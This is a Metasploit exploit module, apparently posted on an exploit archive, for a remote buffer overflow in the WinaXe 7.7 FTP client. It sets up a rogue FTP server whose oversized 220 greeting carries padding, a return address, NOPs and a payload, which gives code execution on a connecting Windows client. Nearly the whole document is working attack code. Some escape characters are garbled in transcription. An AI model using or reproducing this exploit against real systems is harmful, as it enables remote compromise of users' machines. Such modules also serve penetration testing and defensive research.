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WinaXe 7.7 FTP Client Remote Buffer Overflow

Posted on 15 November 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::FtpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'WinaXe 7.7 FTP Client Remote Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the WinaXe 7.7 FTP client.
This issue is triggered when a client connects to the server and is
expecting the Server Ready response.
},
'Author' =>
[
'Chris Higgins', # msf Module -- @ch1gg1ns
'hyp3rlix' # Original discovery
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '40693'],
[ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "x00x0ax0d"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal',
{
'Offset' => 2065,
'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Nov 03 2016',
'DefaultTarget' => 0))
end

def on_client_unknown_command(c, _cmd, _arg)
c.put("200 OK
")
end

def on_client_connect(c)
print_status("Client connected...")

sploit = rand_text(target['Offset'])
sploit << [target.ret].pack('V')
sploit << make_nops(10)
sploit << payload.encoded
sploit << make_nops(20)

c.put("220" + sploit + "
")
c.close
end

end

 

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